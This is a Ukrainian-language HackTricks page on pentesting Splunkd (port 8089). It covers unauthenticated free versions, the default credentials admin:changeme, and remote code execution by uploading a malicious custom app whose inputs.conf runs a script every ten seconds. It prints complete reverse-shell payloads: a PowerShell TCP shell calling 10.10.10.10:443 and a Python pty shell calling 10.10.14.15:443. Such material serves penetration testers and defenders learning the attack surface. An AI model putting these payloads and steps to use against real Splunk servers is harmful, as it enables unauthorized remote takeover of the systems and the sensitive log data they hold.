8089 - Pentesting Splunkd

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Основна інформація

  • Інструмент аналітики журналів, що використовується для збору даних, аналізу та візуалізації
  • Зазвичай використовується в моніторингу безпеки та бізнес-аналітиці
  • Порт за замовчуванням:
  • Веб-сервер: 8000
  • Служба Splunkd: 8089

Вектори вразливості:

  1. Експлуатація безкоштовної версії
  • Пробна версія автоматично перетворюється на безкоштовну версію після 60 днів
  • Безкоштовна версія не має аутентифікації
  • Потенційний ризик безпеки, якщо не управляти
  • Адміністратори можуть не помітити наслідки для безпеки
  1. Слабкі паролі
  • Старі версії: паролі за замовчуванням admin:changeme
  • Нові версії: паролі встановлюються під час установки
  • Потенційна можливість використання слабких паролів (наприклад, admin, Welcome, Password123)
  1. Можливості віддаленого виконання коду
  • Кілька методів виконання коду:
  • Серверні Django-додатки
  • REST-інтерфейси
  • Скриптові введення
  • Сценарії сповіщень
  • Підтримка крос-платформ (Windows/Linux)
  • Скриптові введення можуть виконувати:
  • Bash-скрипти
  • PowerShell-скрипти
  • Пакетні скрипти

Ключовий потенціал експлуатації:

  • Зберігання чутливих даних
  • Відсутність аутентифікації в безкоштовній версії
  • Кілька векторів для потенційного віддаленого виконання коду
  • Можливість використання скриптових введень для компрометації системи

Shodan

  • Splunk build

RCE

Створення користувацького додатку

Splunk пропонує складний метод для віддаленого виконання коду через розгортання користувацького додатку, використовуючи свої крос-платформні можливості скриптування. Основна техніка експлуатації полягає в створенні шкідливого додатку, який може виконувати реверс-шейли на системах Windows і Linux.

Користувацький додаток може виконувати Python, Batch, Bash або PowerShell скрипти. Більше того, Splunk постачається з встановленим Python, тому навіть на Windows системах ви зможете виконувати код python.

Ви можете використовувати цей приклад з bin, що містить приклад для Python та PowerShell. Або ви можете створити свій власний.

Процес експлуатації слідує послідовній методології на всіх платформах:

splunk_shell/
├── bin        (reverse shell scripts)
└── default    (inputs.conf configuration)

Критичний конфігураційний файл inputs.conf активує скрипт шляхом:

  • Встановлення disabled = 0
  • Налаштування інтервалу виконання в 10 секунд
  • Визначення типу джерела скрипта

Розгортання є простим:

  1. Створіть шкідливий пакет програми
  2. Налаштуйте прослуховувач (Netcat/socat) на атакуючій машині
  3. Завантажте програму через інтерфейс Splunk
  4. Запустіть автоматичне виконання скрипта після завантаження

Приклад зворотного шелу Windows PowerShell:

powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()

Приклад зворотного шеллу Python для Linux:

python
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')

RCE & Privilege Escalation

На наступній сторінці ви можете знайти пояснення, як цей сервіс може бути зловжито для ескалації привілеїв та отримання стійкості:

Splunk LPE and Persistence

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks